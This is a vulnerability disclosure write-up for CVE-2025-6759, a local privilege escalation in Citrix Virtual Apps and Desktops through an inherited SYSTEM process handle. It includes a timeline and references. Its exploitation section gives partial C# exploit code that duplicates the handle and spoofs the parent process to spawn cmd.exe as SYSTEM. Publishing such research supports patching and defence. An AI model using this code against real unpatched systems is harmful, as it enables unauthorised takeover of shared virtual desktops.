CVE-2025-6759: Local Privilege Escalation in Citrix Virtual Apps and Desktops
Certitude identified a local privilege escalation vulnerability in Citrix Virtual Apps and Desktops which would allow an attacker with control of a low-privileged user within a virtual desktop to reliably escalate privileges to SYSTEM
. We informed Citrix of the finding, who were already made aware of the issue two months prior. A patch and security bulletin1 was recently released.
Discovery
During a network penetration test, while logged into a virtual desktop, we noticed a Citrix process called CtxGfx.exe
running in the context of our user (see Figure 1). This process seemed to have inherited a PROCESS_ALL_ACCESS
handle to its parent process GfxMgr.exe
(see Figure 2), which was running as SYSTEM
. Due to these circumstances, it was possible to execute arbitrary code as SYSTEM
by duplicating the process handle and using it to create a “child” process.


CtxGfx.exe
process has a handle to GfxMgr.exe
with PROCESS_ALL_ACCESS
Exploitation
To exploit this circumstance, we developed a custom C# program which uses Windows API functions to:
- Open a handle to
CtxGfx.exe
(OpenProcess
3) - Duplicate the handle
CtxGfx.exe
has forGfxMgr.exe
(DuplicateHandle
4) - Create a
cmd.exe
process using the duplicated handle to setGfxMgr.exe
as the parent process (CreateProcess
5)
The partial code is listed below. Notably, a specific STARTUPINFO
6 struct must be prepared which sets the parent process of the cmd.exe
process (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
7) to the GfxMgr.exe
process which is running as SYSTEM
.
using System;
using System.Runtime.InteropServices;
namespace UpperHandle
{
internal class Program
{
...SNIP...
static void Main(string[] args)
{
...SNIP...
IntPtr hMediumProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, uint.Parse(args[0]));
IntPtr dupHandle;
if (!DuplicateHandle(hMediumProcess, (IntPtr)uint.Parse(args[1]), GetCurrentProcess(), out dupHandle, 0x001F0000, false, 0x00000002))
{
Console.WriteLine("[-] ERROR: DuplicateHandle -- " + Marshal.GetLastWin32Error());
return;
}
STARTUPINFOEX si = new STARTUPINFOEX();
si.StartupInfo.cb = Marshal.SizeOf(typeof(STARTUPINFOEX));
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
IntPtr size = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref size);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, (UIntPtr)size.ToInt32());
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref size);
IntPtr attribute = new IntPtr(0x00020000); // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
IntPtr dupHandlePtr = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(dupHandlePtr, dupHandle);
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, attribute, dupHandlePtr, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
{
Console.WriteLine("[-] ERROR: UpdateProcThreadAttribute -- " + Marshal.GetLastWin32Error());
return;
}
bool success = CreateProcess(
null,
"C:\\Windows\\System32\\cmd.exe",
IntPtr.Zero,
IntPtr.Zero,
true,
0x00080000 | 0x00000010, // EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE
IntPtr.Zero,
null,
ref si,
out pi
);
}
}
}
Figure 3 demonstrates successful exploitation. The first argument is the process ID of CtxGfx.exe
, and the second argument is the handle ID for GfxMgr.exe
, both decimal values (0x198 = 408).

cmd.exe
process as SYSTEM
Disclosure timeline
- May 2025 – Issue discovered by William Moody and Edwin Schönegger.
- May 17, 2025 – Disclosed the issue to Citrix.
- June 13, 2025 – Citrix acknowledged the report.
- July 7, 2025 – Citrix informed us that they were already aware of the vulnerability.
- July 8, 2025 – Citrix released a security bulletin1.
References
- https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX694820
- https://www.rapid7.com/blog/post/cve-2025-6759-citrix-virtual-apps-and-desktops-fixed/
- https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
- https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-duplicatehandle
- https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
- https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
- https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute